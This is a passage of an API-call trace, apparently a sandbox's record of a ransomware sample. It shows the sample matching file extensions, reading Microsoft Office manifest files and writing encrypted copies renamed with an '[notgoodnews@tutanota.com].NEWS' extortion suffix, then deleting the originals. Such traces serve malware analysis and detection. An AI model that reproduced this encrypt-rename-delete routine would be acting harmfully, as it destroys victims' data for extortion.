lstrlenW (lpString=".ppt") returned 4 [0069.212] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString=".zip") returned 4 [0069.212] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.212] lstrlenW (lpString=".rar") returned 4 [0069.212] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString=".bz2") returned 4 [0069.212] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString=".7z") returned 3 [0069.212] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString=".dbf") returned 4 [0069.212] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString=".1cd") returned 4 [0069.212] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString=".jpg") returned 4 [0069.212] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString=".doc") returned 4 [0069.213] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString=".docx") returned 5 [0069.213] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.213] lstrlenW (lpString=".pdf") returned 4 [0069.213] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString=".xls") returned 4 [0069.213] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString=".xlsx") returned 5 [0069.213] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.213] lstrlenW (lpString=".ppt") returned 4 [0069.213] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.213] lstrlenW (lpString=".zip") returned 4 [0069.213] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.213] lstrlenW (lpString=".rar") returned 4 [0069.213] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString=".bz2") returned 4 [0069.213] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString=".7z") returned 3 [0069.213] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.213] lstrlenW (lpString=".dbf") returned 4 [0069.213] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.213] lstrlenW (lpString=".1cd") returned 4 [0069.213] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.213] lstrlenW (lpString=".jpg") returned 4 [0069.213] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.214] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.214] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0069.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0069.214] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1124942) returned 1 [0069.214] CloseHandle (hObject=0x374) returned 1 [0069.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0069.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0069.214] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.214] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0069.215] GetLastError () returned 0x0 [0069.215] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0070.975] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0070.993] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0071.002] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x12a60, lpOverlapped=0x0) returned 1 [0071.007] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.621] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.621] SetEndOfFile (hFile=0x31c) returned 1 [0071.621] CloseHandle (hObject=0x31c) returned 1 [0071.646] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.646] SetEndOfFile (hFile=0x374) returned 1 [0071.647] CloseHandle (hObject=0x374) returned 1 [0071.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0071.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.655] lstrlenW (lpString=".doc") returned 4 [0071.655] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString=".docx") returned 5 [0071.655] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.655] lstrlenW (lpString=".pdf") returned 4 [0071.655] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString=".xls") returned 4 [0071.655] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString=".xlsx") returned 5 [0071.655] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.655] lstrlenW (lpString=".ppt") returned 4 [0071.655] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.655] lstrlenW (lpString=".zip") returned 4 [0071.655] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.655] lstrlenW (lpString=".rar") returned 4 [0071.655] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString=".bz2") returned 4 [0071.655] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString=".7z") returned 3 [0071.655] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.655] lstrlenW (lpString=".dbf") returned 4 [0071.655] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.655] lstrlenW (lpString=".1cd") returned 4 [0071.655] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.655] lstrlenW (lpString=".jpg") returned 4 [0071.655] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.656] lstrlenW (lpString=".doc") returned 4 [0071.656] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString=".docx") returned 5 [0071.656] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.656] lstrlenW (lpString=".pdf") returned 4 [0071.656] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString=".xls") returned 4 [0071.656] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString=".xlsx") returned 5 [0071.656] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.656] lstrlenW (lpString=".ppt") returned 4 [0071.656] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.656] lstrlenW (lpString=".zip") returned 4 [0071.656] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.656] lstrlenW (lpString=".rar") returned 4 [0071.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString=".bz2") returned 4 [0071.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString=".7z") returned 3 [0071.656] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.656] lstrlenW (lpString=".dbf") returned 4 [0071.656] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.656] lstrlenW (lpString=".1cd") returned 4 [0071.656] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0071.656] lstrlenW (lpString=".jpg") returned 4 [0071.656] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.656] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.657] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0071.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0071.657] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=14913) returned 1 [0071.657] CloseHandle (hObject=0x374) returned 1 [0071.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0071.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0071.658] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.658] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0071.658] GetLastError () returned 0x0 [0071.658] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3a41, lpOverlapped=0x0) returned 1 [0072.007] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3a50, lpOverlapped=0x0) returned 1 [0072.008] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.008] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.008] SetEndOfFile (hFile=0x31c) returned 1 [0072.008] CloseHandle (hObject=0x31c) returned 1 [0072.009] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.010] SetEndOfFile (hFile=0x374) returned 1 [0072.010] CloseHandle (hObject=0x374) returned 1 [0072.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString=".doc") returned 4 [0072.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString=".docx") returned 5 [0072.321] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.321] lstrlenW (lpString=".pdf") returned 4 [0072.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString=".xls") returned 4 [0072.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString=".xlsx") returned 5 [0072.321] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.321] lstrlenW (lpString=".ppt") returned 4 [0072.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString=".zip") returned 4 [0072.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.321] lstrlenW (lpString=".rar") returned 4 [0072.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString=".bz2") returned 4 [0072.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString=".7z") returned 3 [0072.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString=".dbf") returned 4 [0072.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString=".1cd") returned 4 [0072.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString=".jpg") returned 4 [0072.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.322] lstrlenW (lpString=".doc") returned 4 [0072.322] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString=".docx") returned 5 [0072.322] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.322] lstrlenW (lpString=".pdf") returned 4 [0072.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString=".xls") returned 4 [0072.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString=".xlsx") returned 5 [0072.322] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.322] lstrlenW (lpString=".ppt") returned 4 [0072.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.322] lstrlenW (lpString=".zip") returned 4 [0072.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.322] lstrlenW (lpString=".rar") returned 4 [0072.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString=".bz2") returned 4 [0072.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString=".7z") returned 3 [0072.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.322] lstrlenW (lpString=".dbf") returned 4 [0072.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.322] lstrlenW (lpString=".1cd") returned 4 [0072.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0072.322] lstrlenW (lpString=".jpg") returned 4 [0072.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.322] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.322] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0072.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.662] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1261) returned 1 [0072.662] CloseHandle (hObject=0x354) returned 1 [0072.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.662] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.662] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0072.662] GetLastError () returned 0x0 [0072.662] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.664] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.665] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.665] WriteFile (in: hFile=0x384, 